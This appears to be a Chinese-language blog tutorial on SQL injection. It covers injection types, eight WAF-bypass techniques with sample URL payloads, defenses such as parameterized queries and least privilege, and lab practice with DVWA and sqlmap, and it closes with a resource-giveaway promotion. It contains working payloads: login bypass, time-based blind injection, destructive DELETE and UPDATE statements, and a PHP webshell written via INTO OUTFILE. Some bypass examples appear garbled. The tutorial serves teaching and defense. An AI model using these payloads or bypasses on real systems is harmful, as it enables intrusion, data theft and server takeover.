在Web安全领域,SQL注入(SQL Injection)绝对是"元老级"高危漏洞——自Web诞生以来长期盘踞漏洞排行榜前列,即便在防护技术成熟的今天,仍有30%以上的网站存在不同程度的注入风险。很多新手对它的认知停留在"输入单引号报错"的层面,却不懂其核心原理;而不少开发者虽部署了WAF,却仍会遭遇注入攻击。本文将从原理、分类、绕过技巧到防御方案全程拆解,带你彻底掌握SQL注入的攻防逻辑。
一、SQL注入核心解析:为什么一行输入能攻破数据库?
SQL注入的本质是"输入未过滤导致SQL语句逻辑被篡改"。简单说,就是开发者未对用户输入的内容进行安全处理,直接将其拼接到SQL查询语句中,攻击者通过构造特殊输入,让数据库执行恶意指令。
1. 最经典的注入场景:登录框突破
假设某网站登录功能的后台代码如下(以PHP为例):
$username = $_POST['username'];
$password = $_POST['password'];
// 直接拼接SQL语句,无任何过滤
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysql_query($sql);
正常用户输入admin和123456,执行的SQL是合法查询;但攻击者输入用户名’ OR ‘1’='1、密码任意,拼接后的SQL会变成:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意值'
由于’1’='1’恒成立,该语句会查询出所有用户数据,攻击者无需正确密码即可登录。这就是最基础的字符型SQL注入。
2. SQL注入的3大核心分类
- 按参数类型分:
- 数字型注入:参数为数字格式(如id=1),无需闭合单引号,直接用1 OR 1=1即可篡改逻辑;
- 字符型注入:参数为字符串格式(如用户名、搜索关键词),需用单引号/双引号闭合原语句,再构造恶意逻辑。
- 按注入效果分:
- 显错注入:注入后数据库返回错误信息(如字段数不匹配、语法错误),可直接通过错误信息获取数据库结构;
- 盲注:无明显错误提示,需通过逻辑判断(布尔盲注)或时间延迟(时间盲注)推断数据,例如使用IF(ASCII(SUBSTRING(user(),1,1))=114,SLEEP(5),1),通过是否延迟5秒判断用户名首字符ASCII码是否为114(即’r’)。
- 按数据库类型分:不同数据库语法差异导致注入方式不同,核心区别集中在注释符、联合查询语法等,例如MySQL支持#单行注释,而SQL Server需用-- (双减号后加空格)。
3. SQL注入的真实危害:不止于登录绕过
注入攻击的破坏力远超出"越权登录",实际场景中可能导致:
- 数据泄露:通过UNION SELECT查询数据库所有表名、字段名,进而导出用户密码、交易记录等敏感数据;
- 权限提升:利用xp_cmdshell(SQL Server)等扩展存储过程获取服务器系统权限;
- 数据破坏:执行DELETE FROM users删除数据表,或UPDATE users SET password='hack’篡改所有用户密码;
- 服务器被控:通过写入一句话木马(如UNION SELECT 1,‘<?php eval($_POST[cmd]);?>’,3 INTO OUTFILE ‘C:/www/shell.php’)获取webshell。
二、SQL注入绕过技巧:突破WAF的8大实战方法
随着Web应用防火墙(WAF)的普及,简单的注入语句会被直接拦截。但WAF并非"银弹",攻击者可通过"变形"“分割”"伪装"等方式绕过检测,核心思路是让WAF认为输入合法,而后端数据库能正常解析执行。
1. 注释符干扰:拆分关键词规避检测
WAF通常会检测union select等完整关键词,通过在关键词中间插入注释符,可拆分关键词逃避识别。常见注释符包括/* */(多行注释)、/**/(空注释)等。
实战案例:原始注入语句/?id=1 union select 1,2,3/被WAF拦截,修改为:
/?id=1/union/union/select/select+1,2,3/
WAF会误判注释内的内容为无效字符,而后端数据库执行时会忽略注释,实际执行的仍是完整的联合查询语句。
2. 大小写变异:利用WAF大小写敏感缺陷
多数WAF的关键词检测规则为大小写敏感(如仅拦截小写union select),通过混合大小写即可绕过。
实战案例:将union select改为UnIoN SeLecT,构造语句:
/?id=1+UnIoN/**/SeLecT+1,version(),database()–
该语句能被MySQL正常解析,却可能逃过WAF的小写关键词检测。
3. 空字符填充:插入无效字符拆分关键词
在关键词中间插入WAF认为无效的空字符(如%00、#####),这些字符会被数据库忽略,但能拆分关键词避免WAF匹配。
实战案例:将union select改为un####ion+se####lect,或使用URL编码的空字符un%00ion+se%00lect,构造语句:
/?id=1+un%00ion+se%00lect+1,2,3#
4. 函数同义词替换:替换敏感函数规避拦截
WAF会重点监控substring()、ascii()等注入常用函数,通过替换为同义词可绕过检测,不同数据库的函数替换表如下:

实战案例:原始盲注语句/?id=1+and+ascii(substring(user(),1,1))=114被拦截,替换为:
/?id=1+and+hex(mid(user(),1,1))=72(72是’r’的十六进制值)。
5. HTTP参数污染(HPP):拆分参数欺骗WAF
利用WAF与后端应用对多参数的解析差异绕过——WAF会合并相同参数,而后端可能只取第一个或最后一个参数值。例如后端代码取id参数时仅读取第一个值,而WAF会合并所有id参数内容。
实战案例:原始语句/?id=1;select+1,2,3+from+users–被拦截,拆分参数为:
/?id=1;select+1&id=2,3+from+users–
WAF合并后看到1;select+1,2,3+from+users–会拦截,但后端仅执行第一个id=1;select+1,若语句不完整可结合参数分段(HPF)技巧优化,例如:
/?a=1+union/&b=/select+1,pass/&c=/from+users–
后端拼接后会形成完整注入语句:select * from table where a=1 union/* and b=/select 1,pass/ limit */from users–。
6. 逻辑运算符与表达式变形:替换敏感符号
WAF会监控=、OR等敏感符号,通过替换为等价表达式可规避检测,常见替换规则如下:
- 等于号=替换为:<>(不等于的否定)、<=且>=、<=>(MySQL NULL安全等于);
- 逻辑OR替换为:||(MySQL支持)、1+1=2等恒真表达式;
- 恒真条件1=1替换为:‘a’=‘a’、2>1、char(49)=char(49)(49是’1’的ASCII码)。
实战案例:将/?id=1+OR+1=1–改为:
/?id=1+||+‘a’<>‘b’–。
7. 编码绕过:利用URL/Unicode编码混淆输入
将敏感字符编码后,WAF可能无法识别,而后端会自动解码执行。常见编码方式包括:
- URL编码:将’编码为%27、空格编码为+或%20;
- Unicode编码:将u编码为%u0075、n编码为%u006E,使union变为%u0075%u006E%u0069%u006F%u006E;
- 十六进制编码:将字符串转为十六进制,例如admin转为0x61646D696E,用于MySQL的字符串查询。
实战案例:将/?id=1’ OR ‘1’='1#进行URL编码后:
/?id=1%27+OR+%271%27%3D%271%23。
8 数据库特性绕过:利用特定数据库语法漏洞
不同数据库的独特语法可成为绕过突破口,例如:
- MySQL的IFNULL()、CONCAT_WS()等函数可替换常用函数;
- PostgreSQL支持分号分隔多语句,可构造/?id=1;select+1,2,3;
- SQL Server的EXEC()动态执行函数,可将注入语句转为字符串执行:
EXEC(‘select * from users where id=’+1)。
三、SQL注入防御方案:从根源杜绝漏洞
绕过技巧再精妙,也不如从根源防御。真正安全的应用应通过"代码层面+防护体系"双重保障,彻底杜绝SQL注入风险。
1. 核心防御:参数化查询(Prepared Statement)
这是最有效的防御手段,核心是将SQL语句与用户输入分离——先定义SQL模板,再传入参数,数据库会将参数作为纯文本处理,不会解析为SQL指令。以PHP的PDO为例:
$username = $_POST['username'];
$password = $_POST['password'];
// 定义SQL模板,用?占位
$sql = "SELECT * FROM users WHERE username=? AND password=?";
$stmt = $pdo->prepare($sql);
// 传入参数执行,自动过滤恶意输入
$stmt->execute([$username, $password]);
注意:避免使用字符串拼接后再预处理(如"SELECT * FROM users WHERE username=‘$username’"),这种方式仍存在注入风险。
2. 输入验证:白名单优先于黑名单
对用户输入进行严格校验,优先采用白名单(允许的输入)而非黑名单(禁止的输入):
- 数字型参数:强制转为整数类型(如PHP的(int)$id);
- 字符串参数:限制长度和字符集(如仅允许字母、数字和下划线);
- 特殊场景:如用户名查询,可先查询数据库是否存在该用户名,再执行后续逻辑,避免直接拼接输入。
3. 防护体系:WAF+最小权限+日志审计
- WAF优化:选择支持AI学习的WAF,定期更新规则库,避免过度依赖默认规则;
- 最小权限原则:数据库连接账户仅授予"查询""插入"等必要权限,禁用xp_cmdshell、OUTFILE等危险操作权限;
- 日志审计:记录所有SQL执行语句,特别是包含用户输入的查询,发现异常语句(如含union select、delete from)及时告警。
四、新手实战入门:3步掌握注入测试
理论学习后需通过靶场实战巩固,推荐新手按以下步骤练习:
- 基础练习(1-2周):搭建DVWA靶场,依次完成"Low"“Medium”"High"难度的SQL注入模块,掌握显错注入、盲注的手工测试流程;
- 工具实战(1周):使用SQLmap自动化注入,练习sqlmap -u “http://target/?id=1” --dbs(查数据库)、–tables(查表)、–dump(导出数据)等核心命令;
- 绕过进阶(2周):在OWASP WebGoat靶场的"WAF Bypass"模块,实战测试本文提到的注释干扰、编码绕过等技巧。
五、避坑指南:新手必知的3个关键提醒

总结
SQL注入的核心矛盾是"输入信任",绕过技巧的本质是利用WAF与后端的解析差异。对新手而言,无需追求所有绕过技巧,先吃透"参数化查询"的防御逻辑和手工注入原理,再通过靶场实战积累经验,就能形成扎实的攻防认知。
为帮助大家快速入门,我整理了《SQL注入实战包》,包含DVWA搭建教程、SQLmap命令手册、手工注入思维导图及绕过技巧速查表,点击下方链接即可领取。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
题外话
黑客&网络安全如何学习
如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。


5356

被折叠的 条评论
为什么被折叠?



